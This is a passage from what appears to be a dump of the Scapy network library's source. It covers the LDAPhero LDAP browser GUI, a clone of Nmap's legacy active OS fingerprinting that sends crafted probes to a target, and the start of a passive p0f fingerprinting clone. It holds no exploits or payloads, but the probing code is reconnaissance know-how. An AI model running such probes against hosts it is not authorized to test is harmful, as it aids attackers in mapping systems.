attributev.set(\"\")\n            valuesv.set(\"\")\n\n        def editentrylist():\n            \"\"\"\n            This is called to load an element from the \"Entry List\"\n            \"\"\"\n            try:\n                selected = int(entrylist.curselection()[0])\n            except IndexError:\n                return\n            # If there's a previously edited (unfinished), clear\n            if self.currently_editing is not None:\n                entrylist.itemconfigure(self.currently_editing, fg=\"black\")\n            # Set currently edited mode\n            self.currently_editing = selected\n            # Show selected item in blue\n            entrylist.itemconfigure(selected, fg=\"blue\")\n            entrylist.selection_clear(selected)\n\n            operation = operations[selected]\n            # Set textboxes\n            scopev.set(operation[0])\n            attributev.set(operation[1])\n            valuesv.set(self._format_attribute(operation[1], operation[2]))\n\n        def removeentrylist():\n            \"\"\"\n            This is called to remove an element from the \"Entry List\"\n            \"\"\"\n            try:\n                selected = entrylist.curselection()[0]\n            except IndexError:\n                return\n            # Remove from storage\n            del operations[selected]\n            # Remove from display\n            entrylist.delete(selected)\n\n        ttk.Button(\n            opsfrm,\n            text=\"Enter\",\n            command=enterentrylist,\n        ).grid(row=0, column=2)\n\n        opsfrm.grid(row=2, column=0, columnspan=2)\n        editentryfrm.grid(row=1, column=0, columnspan=2)\n\n        # Entry list\n        entrylistfrm = ttk.LabelFrame(\n            dlg,\n            text=\"Entry List\",\n        )\n        entrylistfrm.grid_columnconfigure(0, weight=1)\n\n        entrylist = tk.Listbox(entrylistfrm)\n        entrylist.grid(row=0, sticky=\"we\", padx=5)\n\n        entrylistbtns = ttk.Frame(entrylistfrm)\n        ttk.Button(\n            entrylistbtns,\n            text=\"Edit\",\n            command=editentrylist,\n        ).pack(side=\"left\")\n        ttk.Button(\n            entrylistbtns,\n            text=\"Remove\",\n            command=removeentrylist,\n        ).pack(side=\"right\")\n        entrylistbtns.grid(row=1, sticky=\"we\", padx=10)\n\n        entrylistfrm.grid(row=3, column=0, columnspan=2, sticky=\"we\", pady=5)\n\n        if mode == \"new\":\n            for attr, val in editattrs.items():\n                # Add to storage\n                operations.append((0, attr, val))\n                # Add to display\n                ident = \"[Add]%s:%s\" % (\n                    attr,\n                    self._format_attribute(attr, val),\n                )\n                entrylist.insert(\"end\", ident)\n\n        # OK / Cancel\n        btnfrm = ttk.Frame(dlg)\n        ttk.Button(btnfrm, text=\"Run\", command=popup.dismiss).pack(side=\"left\")\n        ttk.Button(btnfrm, text=\"Cancel\", command=popup.cancel).pack(side=\"right\")\n        btnfrm.grid(row=4, column=0, columnspan=2, ipadx=10)\n\n        # Setup\n        if popup.run():\n            # Cancelled\n            return\n\n        # Get values\n        dn = dnv.get()\n\n        return dn, operations\n\n    def edit(self, *args):\n        \"\"\"\n        Edit popup\n        \"\"\"\n        # Get selected item\n        try:\n            selection = self.tk_tree.selection()[0]\n        except IndexError:\n            selection = \"\"\n\n        results = self._edit_popup(selection)\n        if not results:\n            return\n        dn, operations = results\n\n        # Perform edit\n        try:\n            self.client.modify(\n                object=dn,\n                changes=[\n                    LDAP_ModifyRequestChange(\n                        operation=op,\n                        modification=LDAP_PartialAttribute(\n                            type=attr,\n                            values=[LDAP_AttributeValue(value=x) for x in values],\n                        ),\n                    )\n                    for (op, attr, values) in operations\n                ],\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        self.tprint(\"Modify request succeeded.\")\n\n    def search(self, *args):\n        \"\"\"\n        Search popup\n        \"\"\"\n        # Get selected item\n        try:\n            selection = self.tk_tree.selection()[0]\n        except IndexError:\n            selection = \"rootDSE\"\n\n        # Get dialog\n        popup = BasePopup(self.root)\n        dlg = popup.dlg\n\n        # Search UI\n        dlg.grid_columnconfigure(1, weight=1)\n\n        basednv = tk.StringVar()\n        basednv.set(selection)\n        ttk.Label(dlg, text=\"Base DN\").grid(row=0, column=0)\n        basednf = tk.Entry(dlg, textvariable=basednv)\n        basednf.grid(row=0, column=1, sticky=\"we\")\n\n        filterv = tk.StringVar()\n        filterv.set(self.lastSearchString)\n        ttk.Label(dlg, text=\"Filter\").grid(row=1, column=0)\n        tk.Entry(dlg, textvariable=filterv).grid(row=1, column=1, sticky=\"we\")\n\n        scopefrm = ttk.LabelFrame(\n            dlg,\n            text=\"Scope\",\n        )\n        scopev = tk.IntVar()\n        scopev.set(1)\n        ttk.Radiobutton(\n            scopefrm,\n            variable=scopev,\n            text=\"Base\",\n            value=0,\n        ).grid(row=0, column=0)\n        ttk.Radiobutton(\n            scopefrm,\n            variable=scopev,\n            text=\"One Level\",\n            value=1,\n        ).grid(row=0, column=1)\n        ttk.Radiobutton(\n            scopefrm,\n            variable=scopev,\n            text=\"Subtree\",\n            value=2,\n        ).grid(row=0, column=2)\n        scopefrm.grid(row=2, column=0, columnspan=2)\n\n        ttk.Button(dlg, text=\"OK\", command=popup.dismiss).grid(row=3, column=0)\n        ttk.Button(dlg, text=\"Cancel\", command=popup.cancel).grid(row=3, column=1)\n\n        basednf.focus()\n\n        # Setup\n        if popup.run():\n            # Cancelled\n            return\n\n        # Get values\n        basedn = basednv.get()\n        flt = filterv.get()\n        scope = scopev.get()\n\n        self.lastSearchString = flt\n\n        # Perform search\n        self.tprint(\"Searching...\", flush=True)\n        try:\n            results = self.client.search(\n                baseObject=basedn,\n                scope=scope,\n                filter=flt,\n            )\n        except ValueError as ex:\n            self.tprint(str(ex))\n            return\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        self.tprint(\"Getting %s entries...\" % len(results))\n        for item in results:\n            self._showsearchresult(item, results)\n\n    def modifydn(self, *args):\n        \"\"\"\n        Modify the DN of an item\n        \"\"\"\n        # Get selected item\n        try:\n            selection = self.tk_tree.selection()[0]\n        except IndexError:\n            selection = \"\"\n\n        # Get dialog\n        popup = BasePopup(self.root)\n        dlg = popup.dlg\n\n        # Duplicate UI\n        dlg.grid_columnconfigure(1, weight=1)\n\n        basednv = tk.StringVar()\n        basednv.set(selection)\n        ttk.Label(dlg, text=\"DN:\").grid(row=0, column=0, sticky=\"w\")\n        basednf = tk.Entry(dlg, textvariable=basednv)\n        basednf.grid(row=0, column=1, sticky=\"we\")\n\n        newdnv = tk.StringVar()\n        ttk.Label(dlg, text=\"New DN:\").grid(row=1, column=0, sticky=\"w\")\n        newdnf = tk.Entry(dlg, textvariable=newdnv)\n        newdnf.grid(row=1, column=1, sticky=\"we\")\n\n        ttk.Button(dlg, text=\"OK\", command=popup.dismiss).grid(row=2, column=0)\n        ttk.Button(dlg, text=\"Cancel\", command=popup.cancel).grid(row=2, column=1)\n\n        if selection:\n            newdnf.focus()\n        else:\n            basednf.focus()\n\n        # Setup\n        if popup.run():\n            # Cancelled\n            return\n\n        # Get values\n        basedn = basednv.get()\n        newdn = newdnv.get()\n\n        self.tprint(\"Changing %s to %s...\" % (basedn, newdn))\n        try:\n            self.client.modifydn(\n                entry=basedn,\n                newdn=newdn,\n            )\n        except ValueError as ex:\n            self.tprint(str(ex))\n            return\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        self.tprint(\"OK !\")\n\n    def new(self, mode):\n        \"\"\"\n        New popup. Called by both 'Add child' and 'Duplicate' popups\n        \"\"\"\n        if mode == \"duplicate\":\n            # Get selected item\n            try:\n                selection = self.tk_tree.selection()[0]\n            except IndexError:\n                selection = \"\"\n        else:\n            selection = \"\"\n\n        existing_attributes = {}\n        if selection:\n            # Perform search to retrieve the attributes\n            self.tprint(\"Getting attributes for %s...\" % selection, flush=True)\n            try:\n                results = self.client.search(\n                    baseObject=selection,\n                    scope=0,\n                )\n                if selection not in results:\n                    raise ValueError(\"Bad result\")\n                existing_attributes = results[selection]\n            except ValueError as ex:\n                self.tprint(str(ex))\n                return\n            except LDAP_Exception as ex:\n                self.tprint(\n                    ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                    tags=[\"error\"],\n                )\n                return\n\n        # Show edit popup to be able to change an attribute\n        results = self._edit_popup(selection, mode=\"new\", editattrs=existing_attributes)\n        if not results:\n            return\n        newdn, changes = results\n\n        # Extract all the 'add' attributes operations from changes\n        attributes = {attr: val for (_, attr, val) in changes}\n\n        self.tprint(\"Adding %s...\" % newdn)\n        try:\n            self.client.add(\n                newdn,\n                attributes=attributes,\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        self.tprint(\"OK !\")\n\n    def duplicate(self, *args):\n        return self.new(\"duplicate\")\n\n    def addchild(self, *args):\n        return self.new(\"addchild\")\n\n    def _format_attribute(self, name, value, crop=False):\n        \"\"\"\n        Format a LDAP attribute\n        \"\"\"\n        if isinstance(value, list):\n            # It's a list.\n            return \";\".join(self._format_attribute(name, v, crop=crop) for v in value)\n        elif name == \"objectSid\":\n            return WINNT_SID(value).summary()\n        elif isinstance(value, bytes):\n            # Catch-all for bytes values\n            value = value.hex()\n        else:\n            # Catch-all\n            value = str(value)\n        # If cropping is enabled and requested, crop\n        if crop and self.crop_output.get() and len(value) >= 80:\n            return value[:80] + \"... (%so)\" % len(value)\n        return value\n\n    def _parse_attribute(self, name, value):\n        \"\"\"\n        Parse a formatted attribute\n        \"\"\"\n        parsed = []\n        # Split across ;\n        for val in value.split(\";\"):\n            if name == \"objectSid\":\n                val = WINNT_SID.fromstr(val)\n            parsed.append(val)\n        return parsed\n\n    def tprint(self, x, tags=[], flush=False):\n        \"\"\"\n        Print to text pane\n        \"\"\"\n        self.tk_textpane.configure(state=tk.NORMAL)\n        self.tk_textpane.insert(\"end\", x + \"\\n\", tuple(tags))\n        self.tk_textpane.configure(state=tk.DISABLED)\n        self.tk_textpane.see(tk.END)\n        if flush:\n            self.root.update()\n\n    def main(self):\n        \"\"\"\n        Main loop: start the GUI.\n        \"\"\"\n        # Note: for TK doc, use https://tkdocs.com\n\n        # Root\n        self.root = tk.Tk()\n        self.root.title(\"LDAPhero (@secdev/scapy)\")\n        self.root.option_add(\"*tearOff\", False)\n\n        # TTK style\n\n        ttkstyle = ttk.Style()\n        ttkstyle.theme_use(\"alt\")\n        ttkstyle.configure(\n            \"BorderFrame.TFrame\",\n            relief=\"groove\",\n            borderwidth=3,\n        )\n\n        # Global configuration variables\n        self.crop_output = tk.BooleanVar()\n        self.crop_output.set(True)\n\n        # Create main frames, pack them in scrollable elements\n        content = ttk.PanedWindow(self.root, orient=tk.HORIZONTAL)\n\n        tvfr = ttk.Frame(content)\n        tvfr.grid_columnconfigure(0, weight=1)\n        tvfr.grid_rowconfigure(0, weight=1)\n        self.tk_tree = ttk.Treeview(tvfr, show=\"tree\")\n        content.add(tvfr)\n        self.tk_tree.bind(\"<Double-1>\", self.treedoubleclick)\n\n        tree_scrollbar = AutoHideScrollbar(\n            tvfr, orient=\"vertical\", command=self.tk_tree.yview\n        )\n        self.tk_tree.configure(yscrollcommand=tree_scrollbar.set)\n        self.tk_tree.grid(row=0, column=0, sticky=\"nsew\")\n        self.tk_tree.column(\"#0\", width=200)\n\n        self.tk_textpane = tk.Text(content, state=tk.DISABLED)\n        self.tk_textpane.tag_configure(\"bold\", font=\"TkCaptionFont\")\n        self.tk_textpane.tag_configure(\"error\", foreground=\"red\")\n        content.add(self.tk_textpane)\n\n        # Menu\n        menubar = tk.Menu(self.root)\n        self.menu_connection = tk.Menu(menubar)\n        self.menu_browse = tk.Menu(menubar)\n        self.menu_view = tk.Menu(menubar)\n        menubar.add_cascade(menu=self.menu_connection, label=\"Connection\")\n        self.menu_connection.add_command(label=\"Connect\", command=self.connect)\n        self.menu_connection.add_command(\n            label=\"Bind\", command=self.bind, state=tk.DISABLED, accelerator=\"Ctrl+B\"\n        )\n        self.menu_connection.add_command(\n            label=\"Disconnect\", command=self.disconnect, state=tk.DISABLED\n        )\n        self.menu_connection.add_command(label=\"Quit\", command=self.root.destroy)\n        menubar.add_cascade(menu=self.menu_browse, label=\"Browse\")\n        self.menu_browse.add_command(\n            label=\"Add child\",\n            command=self.addchild,\n            state=tk.DISABLED,\n            accelerator=\"Ctrl+A\",\n        )\n        self.menu_browse.add_command(\n            label=\"Modify\", command=self.edit, state=tk.DISABLED, accelerator=\"Ctrl+M\"\n        )\n        self.menu_browse.add_command(\n            label=\"Modify DN\",\n            command=self.modifydn,\n            state=tk.DISABLED,\n            accelerator=\"Ctrl+R\",\n        )\n        self.menu_browse.add_command(\n            label=\"Search\", command=self.search, state=tk.DISABLED, accelerator=\"Ctrl+S\"\n        )\n        menubar.add_cascade(menu=self.menu_view, label=\"View\")\n        self.menu_view.add_command(\n            label=\"Tree\", command=self.tree, state=tk.DISABLED, accelerator=\"Ctrl+T\"\n        )\n        self.menu_view.add_checkbutton(\n            label=\"Crop output\", onvalue=True, offvalue=False, variable=self.crop_output\n        )\n        self.root[\"menu\"] = menubar\n\n        # Right-click menu\n        self.popup = tk.Menu(self.root, tearoff=0)\n        self.popup.add_command(\n            label=\"Search\", command=self.search, accelerator=\"Ctrl+S\"\n        )\n        self.popup.add_command(label=\"Modify\", command=self.edit, accelerator=\"Ctrl+M\")\n        self.popup.add_command(\n            label=\"Modify DN\", command=self.modifydn, accelerator=\"Ctrl+R\"\n        )\n        self.popup.add_command(label=\"Duplicate\", command=self.duplicate)\n        popup_adv = tk.Menu(self.popup)\n        self.popup.add_cascade(label=\"Advanced\", menu=popup_adv)\n        popup_adv.add_command(label=\"Security descriptor\", command=self.viewsec)\n        popup_adv.add_command(label=\"Member Of\", command=self.editmemberof)\n\n        def do_popup(event):\n            item = self.tk_tree.identify_row(event.y)\n            if item:\n                if self.tk_tree.tag_has(\"unclickable\", item):\n                    # Unclickable\n                    return\n                self.tk_tree.selection_set(item)\n                self.popup.tk_popup(event.x_root, event.y_root)\n\n        self.tk_tree.bind(\"<Button-3>\", do_popup)\n\n        # Shortcuts\n        self.root.bind_all(\"<Control-b>\", self.bind)\n        self.root.bind_all(\"<Control-t>\", self.tree)\n\n        # Initial rendering\n        content.pack(fill=\"both\", expand=True)\n        self.root.update()\n\n        # Try connecting\n        if self.host is not None:\n            self.root.after(0, self.connect)\n\n        # Main loop\n        self.root.mainloop()\n"
  },
  {
    "path": "scapy/modules/nmap.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"Clone of Nmap's first generation OS fingerprinting.\n\nThis code works with the first-generation OS detection and\nnmap-os-fingerprints, which has been removed from Nmap on November 3,\n2007 (https://github.com/nmap/nmap/commit/50c49819), which means it is\noutdated.\n\nTo get the last published version of this outdated fingerprint\ndatabase, you can fetch it from\n<https://raw.githubusercontent.com/nmap/nmap/9efe1892/nmap-os-fingerprints>.\n\n\"\"\"\n\nimport os\nimport re\n\nfrom scapy.data import KnowledgeBase\nfrom scapy.config import conf\nfrom scapy.arch import WINDOWS\nfrom scapy.error import warning\nfrom scapy.layers.inet import IP, TCP, UDP, ICMP, UDPerror, IPerror\nfrom scapy.packet import NoPayload, Packet\nfrom scapy.sendrecv import sr\nfrom scapy.compat import plain_str, raw\nfrom scapy.plist import SndRcvList, PacketList\n\n# Typing imports\nfrom typing import (\n    Dict,\n    List,\n    Tuple,\n    Optional,\n    cast,\n    Union,\n)\n\nif WINDOWS:\n    conf.nmap_base = os.environ[\"ProgramFiles\"] + \"\\\\nmap\\\\nmap-os-fingerprints\"  # noqa: E501\nelse:\n    conf.nmap_base = \"/usr/share/nmap/nmap-os-fingerprints\"\n\n\n######################\n#  nmap OS fp stuff  #\n######################\n\n\n_NMAP_LINE = re.compile('^([^\\\\(]*)\\\\(([^\\\\)]*)\\\\)$')\n\n\nclass NmapKnowledgeBase(KnowledgeBase):\n    \"\"\"A KnowledgeBase specialized in Nmap first-generation OS\nfingerprints database. Loads from conf.nmap_base when self.filename is\nNone.\n\n    \"\"\"\n\n    def lazy_init(self):\n        # type: () -> None\n        try:\n            fdesc = open(conf.nmap_base\n                         if self.filename is None else\n                         self.filename, \"rb\")\n        except (IOError, TypeError):\n            warning(\"Cannot open nmap database [%s]\", self.filename)\n            self.filename = None\n            return\n\n        self.base = []\n        self.base = cast(List[Tuple[str, Dict[str, Dict[str, str]]]], self.base)\n        name = None\n        sig = {}  # type: Dict[str,Dict[str,str]]\n        for line in fdesc:\n            str_line = plain_str(line)\n            str_line = str_line.split('#', 1)[0].strip()\n            if not str_line:\n                continue\n            if str_line.startswith(\"Fingerprint \"):\n                if name is not None:\n                    self.base.append((name, sig))\n                name = str_line[12:].strip()\n                sig = {}\n                continue\n            if str_line.startswith(\"Class \"):\n                continue\n            match_line = _NMAP_LINE.search(str_line)\n            if match_line is None:\n                continue\n            test, values = match_line.groups()\n            sig[test] = dict(val.split('=', 1) for val in\n                             (values.split('%') if values else []))\n        if name is not None:\n            self.base.append((name, sig))\n        fdesc.close()\n\n    def get_base(self):\n        # type: () -> List[Tuple[str, Dict]]\n        return cast(List[Tuple[str, Dict]], super(NmapKnowledgeBase, self).get_base())\n\n\nconf.nmap_kdb = NmapKnowledgeBase(None)\nconf.nmap_kdb = cast(NmapKnowledgeBase, conf.nmap_kdb)\n\n\ndef nmap_tcppacket_sig(pkt):\n    # type: (Optional[Packet]) -> Dict\n    res = {}\n    if pkt is not None:\n        res[\"DF\"] = \"Y\" if pkt.flags.DF else \"N\"\n        res[\"W\"] = \"%X\" % pkt.window\n        res[\"ACK\"] = \"S++\" if pkt.ack == 2 else \"S\" if pkt.ack == 1 else \"O\"\n        res[\"Flags\"] = str(pkt[TCP].flags)[::-1]\n        res[\"Ops\"] = \"\".join(x[0][0] for x in pkt[TCP].options)\n    else:\n        res[\"Resp\"] = \"N\"\n    return res\n\n\ndef nmap_udppacket_sig(snd, rcv):\n    # type: (SndRcvList, PacketList) -> Dict\n    res = {}\n    if rcv is None:\n        res[\"Resp\"] = \"N\"\n    else:\n        res[\"DF\"] = \"Y\" if rcv.flags.DF else \"N\"\n        res[\"TOS\"] = \"%X\" % rcv.tos\n        res[\"IPLEN\"] = \"%X\" % rcv.len\n        res[\"RIPTL\"] = \"%X\" % rcv.payload.payload.len\n        res[\"RID\"] = \"E\" if snd.id == rcv[IPerror].id else \"F\"\n        res[\"RIPCK\"] = \"E\" if snd.chksum == rcv[IPerror].chksum else (\n            \"0\" if rcv[IPerror].chksum == 0 else \"F\"\n        )\n        res[\"UCK\"] = \"E\" if snd.payload.chksum == rcv[UDPerror].chksum else (\n            \"0\" if rcv[UDPerror].chksum == 0 else \"F\"\n        )\n        res[\"ULEN\"] = \"%X\" % rcv[UDPerror].len\n        res[\"DAT\"] = \"E\" if (\n            isinstance(rcv[UDPerror].payload, NoPayload) or\n            raw(rcv[UDPerror].payload) == raw(snd[UDP].payload)\n        ) else \"F\"\n    return res\n\n\ndef nmap_match_one_sig(seen, ref):\n    # type: (Dict, Dict) -> float\n    cnt = sum(val in ref.get(key, \"\").split(\"|\") for key, val in seen.items())\n    if cnt == 0 and seen.get(\"Resp\") == \"N\":\n        return 0.7\n    return float(cnt) / len(seen)\n\n\ndef nmap_sig(target, oport=80, cport=81, ucport=1):\n    # type: (str, int, int, int) -> Dict\n    res = {}\n\n    tcpopt = [(\"WScale\", 10),\n              (\"NOP\", None),\n              (\"MSS\", 256),\n              (\"Timestamp\", (123, 0))]\n    tests = [\n        IP(dst=target, id=1) /\n        TCP(seq=1, sport=5001 + i, dport=oport if i < 4 else cport,\n            options=tcpopt, flags=flags)\n        for i, flags in enumerate([\"CS\", \"\", \"SFUP\", \"A\", \"S\", \"A\", \"FPU\"])\n    ]\n    tests.append(IP(dst=target) / UDP(sport=5008, dport=ucport) / (300 * \"i\"))\n\n    ans, unans = sr(tests, timeout=2)\n    ans.extend((x, None) for x in unans)\n\n    for snd, rcv in ans:\n        if snd.sport == 5008:\n            res[\"PU\"] = (snd, rcv)\n        else:\n            test = \"T%i\" % (snd.sport - 5000)\n            if rcv is not None and ICMP in rcv:\n                warning(\"Test %s answered by an ICMP\", test)\n                rcv = None  # type: ignore\n            res[test] = rcv\n\n    return nmap_probes2sig(res)\n\n\ndef nmap_probes2sig(tests):\n    # type: (Dict) -> Dict\n    tests = tests.copy()\n    res = {}\n    if \"PU\" in tests:\n        res[\"PU\"] = nmap_udppacket_sig(*tests[\"PU\"])\n        del tests[\"PU\"]\n    for k in tests:\n        res[k] = nmap_tcppacket_sig(tests[k])\n    return res\n\n\ndef nmap_search(sigs):\n    # type: (Dict) -> Tuple[Union[int, float], List]\n    guess = 0, []  # type: Tuple[Union[int, float], List]\n    conf.nmap_kdb = cast(NmapKnowledgeBase, conf.nmap_kdb)\n    for osval, fprint in conf.nmap_kdb.get_base():\n        score = 0.0\n        for test, values in fprint.items():\n            if test in sigs:\n                score += nmap_match_one_sig(sigs[test], values)\n        score /= len(sigs)\n        if score > guess[0]:\n            guess = score, [osval]\n        elif score == guess[0]:\n            guess[1].append(osval)\n    return guess\n\n\n@conf.commands.register\ndef nmap_fp(target, oport=80, cport=81):\n    # type: (str, int, int) -> Tuple[Union[int, float], List]\n    \"\"\"nmap fingerprinting\nnmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy\n\"\"\"\n    sigs = nmap_sig(target, oport, cport)\n    return nmap_search(sigs)\n\n\n@conf.commands.register\ndef nmap_sig2txt(sig):\n    # type: (Dict) -> str\n    torder = [\"TSeq\", \"T1\", \"T2\", \"T3\", \"T4\", \"T5\", \"T6\", \"T7\", \"PU\"]\n    korder = [\"Class\", \"gcd\", \"SI\", \"IPID\", \"TS\",\n              \"Resp\", \"DF\", \"W\", \"ACK\", \"Flags\", \"Ops\",\n              \"TOS\", \"IPLEN\", \"RIPTL\", \"RID\", \"RIPCK\", \"UCK\", \"ULEN\", \"DAT\"]\n    txt = []\n    for i in sig:\n        if i not in torder:\n            torder.append(i)\n    for test in torder:\n        testsig = sig.get(test)\n        if testsig is None:\n            continue\n        txt.append(\"%s(%s)\" % (test, \"%\".join(\n            \"%s=%s\" % (key, testsig[key]) for key in korder if key in testsig\n        )))\n    return \"\\n\".join(txt)\n"
  },
  {
    "path": "scapy/modules/p0f.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nClone of p0f v3 passive OS fingerprinting\n\"\"\"\n\nimport re\nimport struct\nimport random\n\nfrom scapy.data import KnowledgeBase, select_path\nfrom scapy.config import conf\nfrom scapy.compat import raw, orb\nfrom scapy.packet import NoPayload\nfrom scapy.layers.inet import IP, TCP, TCPOptions\nfrom scapy.layers.http import HTTP, HTTPRequest, HTTPResponse\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.volatile import RandByte, RandShort, RandString\nfrom scapy.error import warning\n\n_p0fpaths = [\"/etc/p0f\", \"/usr/share/p0f\", \"/opt/local\"]\nconf.p0f_base = select_path(_p0fpaths, \"p0f.fp\")\n\nMIN_TCP4 = 40  # Min size of IPv4/TCP headers\nMIN_TCP6 = 60  # Min size of IPv6/TCP headers\nMAX_DIST = 35  # Maximum TTL distance for non-fuzzy signature matching\n\nWIN_TYPE_NORMAL = 0  # Literal value\nWIN_TYPE_ANY = 1  # Wildcard\nWIN_TYPE_MOD = 2  # Modulo check\nWIN_TYPE_MSS = 3  # Window size MSS multiplier\nWIN_TYPE_MTU = 4  # Window size MTU multiplier\n\n# Convert TCP option num to p0f (nop is handled separately)\ntcp_options_p0f = {\n    2: \"mss\",  # maximum segment size\n    3: \"ws\",  # window scaling\n    4: \"sok\",  # selective ACK permitted\n    5: \"sack\",  # selective ACK (should not be seen)\n    8: \"ts\",  # timestamp\n}\n\n\n# Signatures\nclass TCP_Signature(object):\n    __slots__ = [\"olayout\", \"quirks\", \"ip_opt_len\", \"ip_ver\", \"ttl\",\n                 \"mss\", \"win\", \"win_type\", \"wscale\", \"pay_class\", \"ts1\"]\n\n    def __init__(self, olayout, quirks, ip_opt_len, ip_ver, ttl,\n                 mss, win, win_type, wscale, pay_class, ts1):\n        self.olayout = olayout\n        self.quirks = quirks\n        self.ip_opt_len = ip_opt_len\n        self.ip_ver = ip_ver\n        self.ttl = ttl\n        self.mss = mss\n        self.win = win\n        self.win_type = win_type  # None for packet signatures\n        self.wscale = wscale\n        self.pay_class = pay_class\n        self.ts1 = ts1  # None for base signatures\n\n    @classmethod\n    def from_packet(cls, pkt):\n        \"\"\"\n        Receives a TCP packet (assuming it's valid), and returns\n        a TCP_Signature object\n        \"\"\"\n        ip_ver = pkt.version\n        quirks = set()\n\n        def addq(name):\n            quirks.add(name)\n\n        # IPv4/IPv6 parsing\n        if ip_ver == 4:\n            ttl = pkt.ttl\n            ip_opt_len = (pkt.ihl * 4) - 20\n            if pkt.tos & (0x01 | 0x02):\n                addq(\"ecn\")\n            if pkt.flags.evil:\n                addq(\"0+\")\n            if pkt.flags.DF:\n                addq(\"df\")\n                if pkt.id:\n                    addq(\"id+\")\n            elif pkt.id == 0:\n                addq(\"id-\")\n        else:\n            ttl = pkt.hlim\n            ip_opt_len = 0\n            if pkt.fl:\n                addq(\"flow\")\n            if pkt.tc & (0x01 | 0x02):\n                addq(\"ecn\")\n\n        # TCP parsing\n        tcp = pkt[TCP]\n        win = tcp.window\n        if tcp.flags & (0x40 | 0x80 | 0x01):\n            addq(\"ecn\")\n        if tcp.seq == 0:\n            addq(\"seq-\")\n        if tcp.flags.A:\n            if tcp.ack == 0:\n                addq(\"ack-\")\n        elif tcp.ack:\n            addq(\"ack+\")\n        if tcp.flags.U:\n            addq(\"urgf+\")\n        elif tcp.urgptr:\n            addq(\"uptr+\")\n        if tcp.flags.P:\n            addq(\"pushf+\")\n\n        pay_class = 1 if tcp.payload else 0\n\n        # Manual TCP options parsing\n        mss = 0\n        wscale = 0\n        ts1 = 0\n        olayout = \"\"\n        optlen = (tcp.dataofs << 2) - 20\n        x = raw(tcp)[-optlen:]  # raw bytes of TCP options\n        while x:\n            onum = orb(x[0])\n            if onum == 0:\n                x = x[1:]\n                olayout += \"eol+%i,\" % len(x)\n                if x.strip(b\"\\x00\"):  # non-zero past EOL\n                    addq(\"opt+\")\n                break\n            if onum == 1:\n                x = x[1:]\n                olayout += \"nop,\"\n                continue\n            try:\n                olen = orb(x[1])\n            except IndexError:  # no room for length field\n                addq(\"bad\")\n                break\n            oval = x[2:olen]\n            if onum in tcp_options_p0f:\n                ofmt = TCPOptions[0][onum][1]\n                olayout += \"%s,\" % tcp_options_p0f[onum]\n                optsize = 2 + struct.calcsize(ofmt) if ofmt else 2  # total len\n                if len(x) < optsize:  # option would end past end of header\n                    addq(\"bad\")\n                    break\n\n                if onum == 5:\n                    if olen < 10 or olen > 34:  # SACK length out of range\n                        addq(\"bad\")\n                        break\n                else:\n                    if olen != optsize:  # length field doesn't fit option type\n                        addq(\"bad\")\n                        break\n                    if ofmt:\n                        oval = struct.unpack(ofmt, oval)\n                        if len(oval) == 1:\n                            oval = oval[0]\n                    if onum == 2:\n                        mss = oval\n                    elif onum == 3:\n                        wscale = oval\n                        if wscale > 14:\n                            addq(\"exws\")\n                    elif onum == 8:\n                        ts1 = oval[0]\n                        if not ts1:\n                            addq(\"ts1-\")\n                        if oval[1] and (tcp.flags.S and not tcp.flags.A):\n                            addq(\"ts2+\")\n            else:  # Unknown option, presumably with specified size\n                if olen < 2 or olen > 40 or olen > len(x):\n                    addq(\"bad\")\n                    break\n            x = x[olen:]\n        olayout = olayout[:-1]\n\n        return cls(olayout, quirks, ip_opt_len, ip_ver, ttl, mss, win, None, wscale, pay_class, ts1)  # noqa: E501\n\n    @classmethod\n    def from_raw_sig(cls, sig_line):\n        \"\"\"\n        Parses a TCP sig line and returns a tuple consisting of a\n        TCP_Signature object and bad_ttl as bool\n        \"\"\"\n        ver, ttl, olen, mss, wsize, olayout, quirks, pclass = lparse(sig_line, 8)  # noqa: E501\n        wsize, _, scale = wsize.partition(\",\")\n\n        ip_ver = -1 if ver == \"*\" else int(ver)\n        ttl, bad_ttl = (int(ttl[:-1]), True) if ttl[-1] == \"-\" else (int(ttl), False)  # noqa: E501\n        ip_opt_len = int(olen)\n        mss = -1 if mss == \"*\" else int(mss)\n        if wsize == \"*\":\n            win, win_type = (0, WIN_TYPE_ANY)\n        elif wsize[:3] == \"mss\":\n            win, win_type = (int(wsize[4:]), WIN_TYPE_MSS)\n        elif wsize[0] == \"%\":\n            win, win_type = (int(wsize[1:]), WIN_TYPE_MOD)\n        elif wsize[:3] == \"mtu\":\n            win, win_type = (int(wsize[4:]), WIN_TYPE_MTU)\n        else:\n            win, win_type = (int(wsize), WIN_TYPE_NORMAL)\n        wscale = -1 if scale == \"*\" else int(scale)\n        if quirks:\n            quirks = frozenset(q for q in quirks.split(\",\"))\n        else:\n            quirks = frozenset()\n        pay_class = -1 if pclass == \"*\" else int(pclass == \"+\")\n\n        sig = cls(olayout, quirks, ip_opt_len, ip_ver, ttl, mss, win, win_type, wscale, pay_class, None)  # noqa: E501\n        return sig, bad_ttl\n\n    def __str__(self):\n        quirks = \",\".join(q for q in self.quirks)\n        fmt = \"%i:%i+%i:%i:%i:%i,%i:%s:%s:%i\"\n        s = fmt % (self.ip_ver, self.ttl, guess_dist(self.ttl),\n                   self.ip_opt_len, self.mss, self.win, self.wscale,\n                   self.olayout, quirks, self.pay_class)\n        return s\n\n\nclass HTTP_Signature(object):\n    __slots__ = [\"http_ver\", \"hdr\", \"hdr_set\", \"habsent\", \"sw\"]\n\n    def __init__(self, http_ver, hdr, hdr_set, 